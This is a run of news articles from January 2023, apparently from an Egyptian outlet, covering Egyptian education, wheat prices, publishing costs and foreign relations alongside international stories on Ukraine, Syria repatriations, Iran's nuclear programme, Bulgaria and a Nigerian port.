"But we are all working now to recover the role of public schools to be the main venue for education, because without this students will continue resorting to private tutoring centres," said Hegazi, adding that "we are also doing our best to improve the performance of teachers to be like maestros in classrooms."

According to Hegazi, "students in grade three in preparatory and secondary schools are the only ones who do not go to schools." In other grades, attendance stands at 87.3 percent," asserted Hegazi.

Hegazi revealed that curricula of primary school's grade four and five will be cut short in the second term of the school year 2022/23. "We do not want students to be lost in a maze of school subjects, and in fact we want a revolution to change the content of school books if we to develop the thinking skills of students," said Hegazi.

Most senators agreed that the education process in Egypt is in a need of a radical reform. Senator Atef Alameddin complained that "private tutoring costs Egyptian families EGP 66 billion per year." "We want the role of public school to be recovered to save families from these tremendous costs," said Alameddin.

Senator El-Sayed El-Shafie claimed that "private tutoring costs a family EGP 15,000-25,000 in fees per year."

Senator Hossam El-Khouli said "teaching in public schools costs the government EGP 12,00-13,000 per year, and in spite of this students prefer going to private tutoring centres."

Senator Nabil Dibis, head of the Senate's education committee, proposed imposing a 10 percent income tax on teachers who provide private tutoring, with the proceeds to be spent on improving public schools.

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The deputy head of Ukraines presidential office quit Tuesday, after Ukrainian President Volodymyr Zelenskyy pledged to launch a staff shake-up amid high-level corruption allegations during the war with Russia.

Kyrylo Tymoshenko asked to be relieved of his duties, according to an online copy of a decree signed by Zelenskyy and Tymoshenkos own social media posts.

Neither gave a reason for the resignation.

Deputy Defense Minister Viacheslav Shapovalov also resigned, local media reported, alleging his departure was linked to a scandal involving the purchase of food for the Ukrainian Armed Forces.

Deputy Prosecutor General Oleksiy Symonenko also quit.

Tymoshenko joined the presidential office in 2019, after working on Zelenskyys media and creative content strategy during his presidential campaign.

Zelenskyy had promised personnel changes in the government, regional administrations and security forces following corruption allegations that emerged after Russias invasion last February.

Tymoshenko last year was under investigation relating to his personal use of luxury cars. He was also among officials linked last September to the embezzlement of humanitarian aid worth more than $7 million earmarked for the southern Zaporizhzhia region.

He has denied all the allegations.

Zelenskyy vowed to drive out corrupt officials in comments on Sunday, when a deputy minister was dismissed for being part of a network embezzling budget funds. Ukraines infrastructure ministry later identified the dismissed official as Vasyl Lozynsky, a deputy minister there.

In his nightly video address, Zelenskyy said that Ukraines focus on the war would not stop his government from tackling corruption.

Zelenskyy, who came to power in 2019 on an anti-establishment and anti-corruption platform, pointed to suspicions in the areas of energy and military procurement.

He said he intended the deputy ministers dismissal to send a signal to all those whose actions or behavior violate the principle of justice.

I want to be clear: There will be no return to what used to be in the past, Zelenskyy said.

Oleksandr Kubrakov, the infrastructure minister, said Lozynsky was relieved of his duties after Ukraines anti-corruption agency detained him while he was receiving a $400,000 bribe for helping to fix contracts related to restoring infrastructure facilities battered by Russian missile strikes.

A statement by the National Anti-Corruption Bureau of Ukraine described Lozynsky as part of an organized criminal group involved in the embezzlement of budget funds.

It said its detectives were working to identify the groups other members.

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Germany's defence minister said Tuesday that allies could start training Ukrainian forces to use Leopard tanks, as NATO Secretary General Jens Stoltenberg predicted that a decision on their delivery would be made "soon".

Germany has been under intense international pressure in recent weeks to allow the export of powerful German-made Leopard tanks to Ukraine to help it repel Russia's invasion.

Berlin has so far declined to give permission despite a growing clamour from many of its allies.

But Defence Minister Boris Pistorius indicated Tuesday that a decision could be imminent, revealing that he had "expressly encouraged partner countries that have Leopard tanks that are ready for deployment to train Ukrainian forces on these tanks".

"I expect a decision to be made shortly," he added ahead of a meeting with Stoltenberg in Berlin.

Stoltenberg welcomed the "clear message" from the minister, "because after a decision has been taken on the delivery on battle tanks, it will take some time to... make them ready" and to train Ukrainian soldiers to use them.

He added that he expected a decision "soon".

"We must provide heavier and more advanced systems to Ukraine, and we must do it faster," Stoltenberg said.

Moscow has shown no signs of changing course in its invasion, he added.

"We have no indication that President (Vladimir) Putin has changed his goals... The only way to lasting peace is to make it clear to Putin that he will not win on the battlefield," he said.

Mounting pressure

Pistorius had emphasised earlier that Berlin was not opposed to Leopard deliveries but had simply not made a decision yet.

"We are supporting Ukraine not to lose this war, to win it against Russia," he said in an interview with the broadcaster ZDF.

"And to that end, Germany is doing more than practically any other ally except the US."

Asked when Germany was planning to make a decision on Leopard tanks, Pistorius said it was not up to him.

"This decision will be made in the chancellery," he said.

He also defended Chancellor Olaf Scholz against accusations of dithering on whether to approve the delivery of Leopards.

"Taking the lead does not mean blindly going ahead," he said. "And if the decision takes another day or two, then that's just the way it is."

Pistorius took office last week at a crucial time for the German defence ministry.

While scores of nations have pledged military hardware for Ukraine, Kyiv is clamouring for the more powerful Leopard tanks, seen as key to punching through enemy lines.

The tanks are used by several EU nations but these countries require Berlin's permission to send the German-made armaments on to Ukraine under Germany's war weapons control act.

Poland on Monday upped the pressure on Berlin by saying it would be prepared to go ahead and deliver the tanks without permission.

But Pistorius insisted there was no division among Ukraine's Western allies.

Observers would be "well advised not to wantonly conjure up this supposed division within NATO", he said.

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France repatriated Tuesday 15 women and 32 children held in jihadist prison camps in Syria, the foreign ministry said, in the third major return of French citizens from the Middle Eastern country.

Rights groups have been pressing for years for France to take back the wives and children of Islamist fighters held in the camps since the Islamic State (IS) jihadist group was ousted from its self-declared "caliphate" in 2019.

But the government refused a blanket repatriation, saying the return of potentially radicalised IS family members would pose security risks in France, which has seen a wave of jihadist terror attacks since 2015.

Instead it said individual cases would be examined, which saw the first group repatriation of 16 mothers and 35 children from Syria in July 2022, and a further 55 last October.

The children returned to France on Tuesday were at the Roj camp in northeast Syria under Kurdish administration, about 15 kilometres (9 miles) from the Iraqi and Turkish borders.

They were placed with social services and the mothers will be brought before judicial authorities, the foreign ministry said, thanking "the local administration in northeastern Syria for its cooperation, which made this operation possible".

The operation came after the United Nations Committee Against Torture said Thursday that in refusing to repatriate women and minors in Syria, France was violating the UN Convention against torture and cruel, inhumane or degrading treatment.

In a version of a ruling dated November 16, 2022 released by a lawyer of relatives of detainees in the Kurdish-run Al-Hol camp in Syria, the committee said that "not taking all reasonable measures in its power to repatriate the plaintiffs' relatives would constitute a violation by a member state of articles two and 16 of the convention".

Rights groups have denounced harrowing sanitary conditions, malnutrition and overcrowding at the Al-Hol camp in particular.

The lawyer who published the UN torture committee ruling, Marie Dose, said 150 French women and children were being held in the Syria camps before Tuesday's repatriation.

Contacted by AFP, the French foreign ministry declined to say how many more women or children might be returned.

Official wariness

Over the past decade, thousands of extremists in Europe travelled to Syria to become IS fighters, often taking their families to live in the "caliphate" the group set up in territory seized in Iraq and Syria.

Since the insurgents were defeated by Western-backed Kurdish forces in 2019, the return of family members of fighters who were captured or killed has been a thorny issue for Western nations.

Several European countries, such as Belgium, Germany and the Netherlands, have recovered many of their citizens from the Syria camps.

In September last year, the head of the US armed forces' Central Command urged nations to repatriate citizens from Al-Hol, which holds around 56,000 people -- mostly women and children.

But France has been much more reticent, despite a condemnation by the European Court of Human Rights last September over its refusal to repatriate two women detained in Syria, citing the safety and healthcare threats at the Kurdish-run camps that put their lives in danger.

Many of the women returned to France have been charged with terrorism crimes and imprisoned.

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Israeli Prime Minister Benjamin Netanyahu made a surprise trip to Jordan on Tuesday to meet with King Abdullah II, his first visit since taking power at the helm of Israel's most right-wing and religiously conservative government in history.

Jordan's official statement suggested that the rare meeting between the leaders, who have long had a rocky relationship, dealt primarily with the status of a sensitive holy site in the Old City of Jerusalem. The sacred compound, the third-holiest site in Islam, sits on a sprawling plateau also home to the iconic golden Dome of the Rock. It is revered by Muslims as the Noble Sanctuary and by Jews as the Temple Mount.

Jordan's royal court said the king urged Israel to respect the status quo at the sacred compound, which allows Jews to visit during certain hours and bars them from praying openly there. The government also said King Abdullah II pushed Israel to "stop its acts of violence'' that undermine hopes for an eventual peaceful settlement to the decadeslong Israeli-Palestinian conflict.

Netanyahu's office said he discussed vaguely defined "regional issues'' and security and economic cooperation with Jordan, a key regional ally.

Tensions have simmered between the neighbors over Israel's new ultranationalist government, which took office late last year. Already, the Jordanian government has summoned the Israeli ambassador twice since the new government took office, both times after an incident at the Al-Aqsa Mosque compound.

Earlier this month, Israel's new hard-line minister of national security, Itamar Ben-Gvir, made a provocative visit to the site, drawing condemnations from Jordan and around the Arab world.

The compound is administered by Jordanian religious authorities as part of a joint agreement with the Israelis. Israel is in charge of security at the site.

*This story was edited by Ahram Online

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The UN agency for Palestinian refugees, UNRWA, appealed Tuesday for $1.6 billion for its work in 2023, as it struggles to overcome chronic budget shortfalls.

UNRWA -- which provides services to nearly six million Palestinians registered in the Palestinian territories, including Israeli-annexed east Jerusalem, as well as in Jordan, Lebanon and Syria -- warned that "compounding challenges" had placed it under "immense strain".

The agency, which counts nearly 30,000 staff -- most of them Palestinian refugees -- runs more than 700 schools that offer education to half a million children, and provides health, sanitation and social services, including food and cash assistance.

Out of the $1.6 billion requested, UNRWA said $848 million was needed for such core services.

It said another $781.6 million was needed for emergency operations.

UNRWA chief Philippe Lazzarini said the agency played "an indispensable role" for millions of Palestinian refugees.

"We work to maintain the delivery of basic services in an incredibly difficult financial and political context," he said in a statement.

The agency warned that most Palestinian refugees now live below the poverty line and a growing number are dependent on UNRWA for assistance, sometimes for their "sheer survival".

Lazzarini said he had just returned from a trip to Syria where he had "witnessed firsthand indescribable suffering and despair".

That situation, he said, was "sadly mirrored in other places like Lebanon and Gaza where Palestine refugees are hitting rock bottom."

"Many told me that all they asked for was a life of dignity; that's not much to ask for."

UNRWA has long faced chronic budget shortfalls, which worsened dramatically in 2018 when former US president Donald Trump cut support to the agency.

His administration branded UNRWA "irredeemably flawed," siding with Israeli criticisms of the agency founded in 1949, a year after Israel's creation.

US President Joe Biden's administration has fully restored support but UNRWA has said it is still struggling.

Last year, UNRWA only raised nearly $1.2 billion of the $1.6 billion it had appealed for, Lazzarini said.

"We cannot and should not be always scrambling to bring in funds to cover our contribution to human rights and stability," Lazzarini said, stressing the need for "a more sustainable model of funding... a predictable, long-term and regular source of funding."

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The head of the UN's nuclear watchdog said Tuesday he plans to go to Iran next month for "much needed" talks on getting it to resume cooperation over its nuclear activities.

"I might be back in Tehran... in February, perhaps, for a much needed political dialogue, or reestablishment thereof, with Iran," Rafael Grossi, director general of the International Atomic Energy Agency (IAEA), told lawmakers in the European Parliament.

Such a trip would come at a bleak time for EU-mediated negotiations aimed at bringing back a 2015 agreement that was struck to curb Iran's atomic activities in return for a lifting of international sanctions.

That accord, known as the JCPOA, is moribund after the United States under Donald Trump withdrew in 2018 and Tehran progressively rolled back its compliance.

Grossi noted the "big, big impasse" on the JCPOA and said that Iran's own pullback from it, including disconnecting 27 IAEA cameras monitoring its declared nuclear sites, means the IAEA was no longer effectively monitoring Tehran's nuclear programme.

"I've been blind on this aspect for at least a year," he said.

Grossi said he hopes to "be making some progress" on restoring Iranian cooperation with his agency during his planned visit.

Speaking about Iran's recent atomic activities, including enriching uranium well past JCPOA-mandated limits towards a level needed for nuclear weapons, Grossi said: "That trajectory is certainly not a good one."

As well as failing to explain to the IAEA radioactive traces found in locations that were not declared as nuclear sites, Iran's growing stock of enriched uranium is of concern, he said.

"They have amassed enough nuclear material for several nuclear weapons, not one at this point," he said, listing 70 kilograms of uranium enriched to 60 percent purity and 1,000 kilograms at 20 percent.

The threshold for making nuclear weapons is considered to be nearly 90 percent purity.

Enrichment above the 3.67-percent level Iran was allowed under the JCPOA for civilian use greatly speeds up progress towards that point.

Grossi, however, noted that the big stockpile of enriched uranium "doesn't mean they have a nuclear weapon".

Building an atomic bomb would require designing and testing, he said.

"I'm not saying it is impossible. And I'm not saying we should be complacent," he said.

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Bulgaria will hold another parliamentary election - its fifth in two years - after the Socialist Party on Tuesday announced that it had failed to form a government and had returned the unfulfilled mandate to the country's president.

``We have done everything necessary to fulfil the third mandate,'' party leader Kornelia Ninova said, adding that despite setting clear national priorities at the talks with the other parties, ``there was not enough will to form a working government.''

It was the third and final opportunity to form a Cabinet in this parliament. The European Union's poorest member is now heading toward elections yet again.

Before the Socialist attempt at forming a coalition, the two strongest groups in Bulgaria's parliament _ the center-right GERB party and the reformist We Continue the Change party _ had each tried and failed to find enough support to lead their own governments.

President Rumen Radev will now dissolve parliament, appoint a caretaker government and schedule another election, to be held most likely in April.

Analysts expect another election would again produce a fragmented parliament that will struggle to find a compromise and cobble together a working coalition government. The continuing political crisis is expected to put a brake to Bulgaria's plans to join the euro zone at the end of this year, as well as the timely receipt of billions of euros in EU recovery funds.

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Nigerian President Muhammadu Buhari has marked the opening of a $1.5 billion, Chinese-funded deep seaport in the commercial hub of Lagos that authorities hope will help grow the West African nation's ailing economy.

The Lekki Deep Sea Port is one of the biggest in West Africa and will create hundreds of thousands of jobs in addition to easing cargo congestion that costs billions of dollars in annual revenue, Lagos Gov. Babajide Sanwo-Olu said Monday.

The port, whose container terminal is able to handle at least 2.5 million 20-foot standard containers per year, will be operated as a joint venture between the Nigerian government, Lagos state, Singapore-based Tolaram Group and state-owned China Harbor Engineering Company.

Both foreign companies own a majority stake of 75% in the project.

Nigeria is Africa's largest economy but growth has been stalled for many years because of poor infrastructure and mismanagement.

Although it has six major seaports, more than 80% of the country's imports are handled by just two of the ports in Lagos, where congestion has led to a massive loss in revenue as cargoes are often diverted to other West African nations.

Authorities say the new deep seaport on the eastern edge of Lagos would divert traffic from congested ports and shore up earnings, with expected economic benefits of more than $360 billion.

Experts, however, argue it would make a "minimal difference'' if existing pitfalls are not removed, including ensuring connections between ports and inland areas.

"There is poor and underinvested rail network connectivity, and the roads are not in top-notch condition," said Ayotunde Abiodun, an economic analyst with the Lagos-based SBM Intelligence firm. "Also, the automation of processes at the port must be prioritized.''

As the port begins to operate with the first commercial vessel arriving Sunday, the Lagos governor said ships docking at the port "could be up to four times the size of vessels that currently berth at both Tin Can and Apapa ports,'' the other two ports in Lagos.

The project would drive economic development not just for Lagos but for the entire country, according to Cui Jianchun, Chinese ambassador to Nigeria.

"This is (the) engine of the economy not only for (the) governor of Lagos but also for the Federal Republic of Nigeria," Jianchun said. "This is equity of investment. This is not a loan, this is not borrowing, this is investment."

Agriculture and trade are key drivers of Nigeria's economy, but widespread insecurity in the agricultural-rich north, dwindling foreign direct investments and endemic corruption have slowed economic growth amid reduced earnings from crude oil.

The government has turned to international lenders and funders to help grow the economy through critical projects, among them China, whose footprint are on some of Nigeria's most important infrastructure such as rail networks and airport terminals.

The port has "immense potential'' for the economy of Nigeria, which is battling a 33% unemployment rate and an ailing economy, said Abiodun, the analyst who added that industry players must work together for this to happen.

In the maritime sector, "there needs to be interagency engagement on important issues affecting industry operators," Abiodun said.

"A more troubling challenge has been the focus of these agencies on revenue generation rather than on value service delivery. This needs to change.''

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The House of Representatives devoted its session on Monday to discussing and approving foreign agreements.

On Monday, the House of Representatives approved a $271 million loan agreement with the African Development Fund (AFD) to support food security and economic resilience.

The agreement will support Egypts agricultural sector and help it absorb shocks from global economic crises, said MP Ahmed Al-Banna. He added that Egypt had been badly impacted by the disruption of global food supply chains resulting from the coronavirus pandemic and the Russia-Ukraine war.

The soft loan will reinforce the countrys resilience by helping double the production of strategic crops like wheat, rice, and corn and by encouraging private investments and will not be a burden on the treasury, said Al-Banna.

Leftist opposition MPs opposed the loan. MP Abdel-Moneim Imam, deputy chairman of the Budget Committee and head of the Justice Party, called on the government to stop borrowing and urged Prime Minister Mustafa Madbouli to come to the House to deliver a statement on how the government intends to cut debts and attract investments.

The House also approved a $13 million grant from the United States Agency for International Development (USAID) to support family planning, birth control and reproductive health services across the country.

MP Abla Al-Alfi, deputy chairman of the Houses Health Committee, said the USAID grant will support state efforts to control runaway population growth by improving family planning and birth control programmes and publishing up-to-date information and statistics about the population and healthcare in Egypt.

MPs also voted in favour of a USAID grant that aims to improve the reading skills of primary school students and open more technical schools. MP Hossam Al-Husseini, a member of the Education Committee, said the $5.7 million grant will be also used to organise training courses for new teachers to improve their foreign language communication skills and improve maths teaching in primary schools.

A two million-euro grant to support the teaching of French in primary schools was also approved. According to MP Mervat Alexan, it will allow the teaching of French in public schools to expand and help students join French universities and find jobs in French companies.

The House passed a three million-euro French grant to develop and rehabilitate informal communities in four districts in Cairo and Giza. The grant, provided by the French Development Agency, will be used to upgrade wastewater and sanitary drainage systems, pave roads and improve healthcare services.

MPs also voted on Monday in favour of a draft law that allows the petroleum minister to contract the Egyptian General Petroleum Corporation (EGPC) to explore for oil offshore in North Sinai.

The draft law will help the Egyptian states goal of doubling the production of oil and natural gas to meet local demand, boost exports and save foreign exchange, said Energy Committee head Hossam Awadallah.

*A version of this article appears in print in the 19 January, 2023 edition of Al-Ahram Weekly.

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Readers, publishers, and writers are apprehensive about the impact of the economic crisis on the publishing industry.

The Cairo International Book Fair will be officially inaugurated on 25 January. On the following day it will open to the public amid worries that the rocketing price of paper and its impact on the prices of books will curtail sales.

I am not sure I will be able to make any serious purchases this year. Prices have already gone up a great deal since summer and from what we hear from publishers further increases are likely. Basically, most books will end up being unaffordable, says Mohamed Salem, a Tanta University student.

Salem has been a regular visitor to the Cairo Book Fair since his early teens. He would save in order to benefit from the discounts most publishers offer during the fair. Over the last four years, however, Salem had to cut down his list of to-buy books. This year he has put together a shared list that will be distributed among four of his friends. Even so, Salem is not sure that they will be able to buy more than one or two books each.

The prices of government-affiliated publishers are always much more affordable than those of private publishers, but the most interesting titles are generally put out by the big private publishing houses, says Salem. He nonetheless remains hopeful that there will be discounts and possibly some packages that allow university students who are on very tight budgets to acquire books.

Mohamed Rashad, president of the Egyptian Publishers Union, says publishers are committed to discounting titles, with some promising reductions of up to 80 per cent. Speaking at a press conference on Sunday, Rashad said that students and citizens with special needs will be offered special packages. Overall, he added, there is awareness among publishers that prices of books are taking a serious toll on the industry.

It has been a very tough year for business, says Yehia Fekri, chair of Al-Maraya Publishing. The price of paper has tripled over the past seven to eight months on the back of the devaluation of the Egyptian pound, dealing a serious blow to the industry, and a further fall in the value of Egypts currency is expected.

This uncertainty and volatility is prompting a lot of apprehension and it has been an ordeal to get books printed ahead of the book fair, said Fekri. With the increasing price of paper, but also of ink and printing and production costs, Al-Maraya had to cut down its list of titles put out for this years book fair.

It is unfortunate, but we had no choice, he said.

What goes for medium-sized publishing houses applies to bigger publishers. Nora Rashad, publication manager at Al-Dar Al-Masriya Al-Lebenaniya, says they have significantly cut the number of titles they are putting out.

The trend, she explained, has been going on for more than a decade. Al-Masriya Al-Lebenaniya would put out around 100 titles for the book fair before the January 2011 Revolution. The number dropped to around 60 after the revolution and then to 50 titles up to the Covid pandemic. For this years book fair, they are putting out a little over 20 titles.

We have been working to cut our profit margin as much as possible, but there is a limit to how far we can go in this direction and maintain the quality of production to which we are committed, she explained.

Both Fekri and Rashad acknowledge that despite cutting as many edges as possible an increase in prices is inevitable.

For Fekri, whose books target the low budget reader, it is very frustrating to bow to the unavoidable increase and it will be more frustrating for us to see the impact of this increase on the accessibility of books to keen readers with limited budgets.

While making books available on smart reading applications is an option, most publishing houses are considering, given the narrow profit margins it is unfeasible for publishing houses to forgo print for exclusively online publication.

There is concern that publishers will end up being less adventurous in terms of titles and writers, dealing a severe blow to new authors. They might also opt to print smaller books, and spiralling costs could prevent the reprinting of important titles. Publishers are also worried that piracy will increase.

Writers, too, are frustrated. Ahmed Samir, whose second novel Rasael min Al-Ganna (Messages from Paradise) is being published by Dar Al-Shorouk, laments that writers do not make a living out of their books.

This has always been the case. The most prominent writers, including Naguib Mahfouz and Ihsan Abdel-Koddous, had to have jobs to make a decent living. But writers have to be read. If our books do not reach readers then there is no point in us writing, he says.

According to Samir, many publishers will have to focus more on selling books through regional book fairs, like those in Riyadh or Sharjah where price is less an issue, though he warns that these financially better off markets are much smaller than in Egypt.

The way to solve the problem is to start having public libraries all over the country that can provide interested readers with the titles they cannot afford to buy, says Samir. We cannot expect readers who are already having a hard time making ends meet to spend more money to buy books that are in many cases prohibitively expensive.

*A version of this article appears in print in the 19 January, 2023 edition of Al-Ahram Weekly.

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The government has raised the price for wheat paid to Egypts farmers to LE1,250 per ardeb (150 kg), up by LE250 to incentivise them to increase the amount of land planted with the crop.

It announced late last year that it was planning to buy wheat for LE1,000 per ardeb in the new 2023 season to encourage the countrys farmers to grow more wheat.

The move led to an increase in the amount of land planted with wheat between mid-November and mid-December  the wheat cultivation season  from 3.4 million feddans in 2019-2020 to 3.65 million feddans last year, according to Hussein Abu Saddam, chair of the Farmers Syndicate.

Increases in the delivery price have historically resonated positively with farmers, encouraging them to plant larger areas with the crop.

However, Nader Noureldin, a former adviser to the minister of supply, believes a fair price for wheat procurement is LE1,800 per ardeb, explaining that the government decided to buy wheat for LE1,000 in the new season before the floatation of the pound. Today, prices have almost doubled.

He said that during the last tender to buy wheat from Russia in the previous season, a price of LE12,600 per ton of wheat was paid including the cost of offloading it in Egypts ports and transportation. At the same time, the government had bought wheat from farmers in Egypt for LE8,350 per ton.

Challenges facing wheat cultivation in Egypt include the limited amount of land available for agriculture, Noureldin noted. The state is carrying out land-reclamation plans, but these also depend on the availability of water, he added.

Another challenge is that farmers sell wheat to the government at a different price than that charged in the free market. Noureldin said that farmers that grow rice face the same problem. They sell rice for LE6.8 per kg and then buy it for LE18 in the marketplace, he said.

He added that growing other crops, such as hay, is more lucrative for farmers.

Pasta factories may also buy a ton of wheat from farmers for LE15,000 because a ton of macaroni is sold for LE20,000 or LE30,000 on the free market, he pointed out, adding that this was higher than government prices.

However, Abu Saddam does not agree with Noureldin, saying that while the price of a ton of wheat on the international market may reach LE2,000, this was not a fair comparison because farmers in Egypt receive subsidised seeds, fertilisers, and pesticides from the state.

This is in addition to the direct services they receive, such as guidance on how to improve the quality and increase the quantity of wheat, and indirect services, such as subsidised bread.

Farmers grow wheat because it provides them with a satisfactory profit, even if it is not paid at the fair international price, the chair of the Farmers Syndicate said.

The government is successfully and flexibly managing wheat procurement, he added. Following the floatation of the pound, the cabinet announced an increase in the price of the wheat it will buy from farmers. It may raise the price again before the next cultivation season if the international prices of wheat change, he said.

Abu Saddam said it was important that the government set a guide price for selling wheat in the marketplace. If wheat farmers increase their prices, farmers that grow other crops may follow suit, leading to a wave of higher prices across the board, he noted.

The current price is economically fair to farmers and grants them a reasonable profit. This is evident in the increases in the amount of land cultivated with wheat, Sayed Khalifa, head of the Agricultural Syndicate, said.

Egypts farmers tend to sell their wheat in advance to the government, the biggest buyer of wheat in the marketplace, to guarantee their profit margins instead of risking selling it on the free market and not attaining the profits they want, Khalifa said.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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At the invitation of Indian Prime Minister Shri Narendra Modi, President Abdel-Fattah Al-Sisi is paying a three-day state visit to India from 24 to 26 January. It is his second state visit to India, and he will be the chief guest at Indias 74th Republic Day celebrations.

President Al-Sisi visited India in October 2015 to participate in the third India-Africa Forum Summit, and in September 2016 he travelled on a state visit. This weeks trip is the first time a president of Egypt has been invited as the chief guest at Indias Republic Day and, according to Indian media, a contingent from the Egyptian army will participate in the Republic Day parade.

This year, India and Egypt celebrate the 75th anniversary of their establishing diplomatic relations.

President Al-Sisi will receive a ceremonial welcome at the Rashtrapati Bhavan, the presidential palace, the day after his arrival, and Indias President Droupadi Murmu will host a state banquet in his honour the same evening.

Al-Sisi will have a bilateral meeting with Modi, who last visited Cairo in August 2015, and delegation-level talks will address bilateral, regional and global issues of mutual interest. President Al-Sisi is also scheduled to meet with Indias Foreign Minister Subrahmanyam Jaishankar and attend a roundtable with Indias business community.

Wael Hamed, Egypts ambassador to India, said in a statement that Egypt-India multi-faceted relationship is based on shared cultural values, commitment to foster economic growth and collaboration in the fields of defence and security and convergence on regional and global issues, said Hamed.

Hamed added the visit will be followed by Cairo and New Delhi inking bilateral agreements covering information technology, export promotion, agriculture, industry, environment, and renewable energy and telecommunications.

Talks between Egypt and India on investment in green hydrogen began in December 2021 and continued on the sidelines of the COP27 conference in Sharm El-Sheikh in November. The two countries have signed an $8 billion agreement, though it is expected to reach $20 billion, said Hamed.

Bilateral trade reached a record high of $7.26 billion in FY 2021-22, with $3.74 billion of Indian exports to Egypt and $3.52 billion worth of Egyptian exports to India. More than 50 Indian companies have invested a total of $3.15 billion in the Egyptian economy, concentrated in the chemical, energy, textile and garment, agri-business and retail sectors.

For India, Egypt is not just a market of 105 million consumers but a gateway to Africa and elsewhere. More than $200 billion of trade passes through the Suez Canal annually.

Egypts Minister of Trade and Industry Ahmed Samir said in a statement on 21 January that the value of non-oil trade exchange with India hit a record $4.1 billion during the period from January to November 2022, $723 million of which comprised Egyptian exports to India.

We are keen to take advantage of Indias giant industrial and productive capabilities, he added.

Foreign Minister Jaishankar told the media this week that President Al-Sisis visit offered an opportunity to push relations with Egypt to higher levels.

Egypt and India are both ancient civilisation states, and we have a history of working together and a tradition of thinking beyond narrow national interests, she said.

Egyptian and Indian relations reached a peak in the mid-1950s to the early 1960s when late president Gamal Abdel-Nasser and Indias leader Jawaharlal Nehru, joined by former Yugoslavian president Joseph Broz Tito, formed the Non-Aligned Movement in 1961, recalls Al-Ahram analyst Hassan Abu Taleb. President Nasser was always keen to listen to the views of Nehru on international affairs and seek the support of India in international circles like the United Nations.

In 1961, when Nasser, Nehru and Tito founded the Non-Aligned Movement, they were seeking to increase their voice in international relations at a time when the world was polarised by the Cold War. Now a cold war scenario is repeating itself, as is clear from the war in Ukraine, it is important that Egypt and India coordinate to recover their earlier role in settling conflicts and spreading peace.

President Al-Sisis visit to India represents a momentous occasion for both countries that will undoubtedly herald a new dawn in their bilateral relations, Ajit Gupte, Indias ambassador to Egypt, told attendees at an early national day celebration in Cairo last weekend. As the world faces new threats, it is imperative the two countries draw closer to realise sustainable solutions.

Recently, observers have noted that cooperation between Egypt and India is not confined to the economy. Military cooperation has also grown. Egypt and India conducted their first ever joint tactical air force exercise, Desert Warrior, in October 2021, and special forces from the two countries will take part in a joint exercise planned later this month. Indian naval ships regularly visit Egyptian ports on goodwill visits, and a memorandum of understanding (MoU) on defence cooperation was signed during the visit of Indias Minister of Defence Rajnath Singh to Cairo in September 2022 when Singh met with President Al-Sisi and his Egyptian counterpart Mohamed Zaki.

Abu Taleb expects that military cooperation will top the agenda of Al-Sisis talks in New Delhi.

President Al-Sisi has always been keen to diversify Egypts sources of armament, and in this respect has been keen to consolidate bilateral relations with the worlds major powers, India among them, he said.

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Regional security, the conflict in Libya, and illegal immigration were among the issues addressed in a meeting between the top diplomats of Egypt and Italy, reports Doaa El-Bey

Illegal immigration topped the agenda of this weeks meeting in Cairo between Foreign Minister Sameh Shoukri and his Italian counterpart Antonio Tajani. It was Tajanis first visit to Cairo since he assumed the post in October last year.

In the press conference that followed the meeting Tajani said Italy is ready to welcome regular migrants from Egypt.

The solution to the Libya problem is part of the solution to the illegal immigration problem, he said. Italy could receive more legal migrants, including from Egypt, if illegal crossings are brought under control.

He gave no details of the numbers of legal migrants Italy might accept, or of the procedures involved.

Egypt has long struggled to curb illegal migration: Egypt already hosts six million migrants, and the situation in Libya has made the job more difficult.

Egyptians, and migrants living in Egypt, are high on the list of those arriving illegally on European shores. Many travel through Libya before taking the dangerous sea voyage. Egypts western neighbour has become a hub for African and Middle Eastern migrants seeking to travel to Europe, with Italy one of the main destinations.

Tajani underlined the importance of reaching a solution to the Libyan crisis and praised the role Egypt is playing.

The meeting also tackled bilateral relations, with a focus on ways to bolster economic and trade ties, as well as cooperation in the field of energy.

Both countries are members of the Cairo-based East Mediterranean Gas Forum (EMGF), formed in 2019 to establish a regional gas market in the Eastern Mediterranean and enhance trade relations between the forums eight member states.

At the press conference, Shoukri said regional files were also reviewed, including the Palestinian situation.

Tajani also met with President Abdel-Fattah Al-Sisi. The issue of stepping-up cooperation in the field of energy security, particularly in the field of natural gas, topped their meeting.

Enhancing bilateral relations is a priority to the two countries. Al-Sisi underlined the importance that Egypt attaches to further advancing mutual relations across various fields while Tajani said his visit reflected a history of solid relations and the Italian governments will to further consolidate ties.

The issues of Giulio Regeni and Patrick George Zaki were raised during Tajanis meeting with Al-Sisi.

The body of Regeni, an Italian student at the University of Cambridge, was found after he went missing in Cairo in January 2016 with signs that he had been tortured. The subsequent investigation into Regenis death strained relations between Rome and Cairo and led to the withdrawal of Italys ambassador to Egypt in April 2016.

Zaki, an Egyptian studying in Bologna, was arrested in February 2020 when returning to Egypt for a visit and accused of spreading false information in an article he had written. He was released in December 2021 pending trial, and has been unable to travel since.

I asked for and received assurances of strong cooperation on the Regeni and Zaki cases, Tajani wrote on Twitter.

During his press conference with Shoukri he said that Cairo is ready to remove roadblocks to resolve both cases but provided no further details.

Tajani also met with Arab League Secretary-General Ahmed Abul-Gheit.

Energy supplies have become a pressing issue since the war in Ukraine began and Italy is keen to secure its energy needs, a fact that formed the backdrop not only to Tajanis visit to Egypt but to this weeks trip by Italian Prime Minister Giorgia Meloni to Algeria.

Recent months have seen a surge in visits and meetings between Egyptian and Italian officials.

Prime Minister Mustafa Madbouli held a meeting last week with Italys Ambassador to Cairo Michele Quaroni, during which he said Egypt was keen to enhance relations with Italy in different fields to achieve mutual interests. Madbouli said Cairo hoped to build on the positive momentum created by the meeting held between President Abdel-Fattah Al-Sisi and Meloni on the sidelines of COP27.

Italy is one of Egypts largest trade partners in the European Union. Trade between Egypt and Italy reached $5.8 billion in 2021, up from $4.5 billion in 2020, according to the Central Agency for Public Mobilisation and Statistics. Italian investments in Egypt rose by 40.3 percent to $448.8 million during the first quarter of FY 2021-22 (July-September), compared to $320 million during the last quarter of FY 2020-21 (April-June).

Remittances of Egyptian expats in Italy reached $94 million during FY 2019-20, compared to $82.6 million in FY 2018-19. Remittances of Italians working in Egypt reached $7.9 million during FY 2019-20, up from $6.3 million in FY 2018-19.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly

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Spurred by provocative visits by Israels National Security Minister Itamar Ben-Gvir and other senior Israeli officials to the Al-Aqsa Mosque compound, dozens of Israeli extremists invaded the sanctuary on Monday, the beginning of the month of Shevat in the Hebrew calendar, storming the compound from the Al-Magharba Gate.

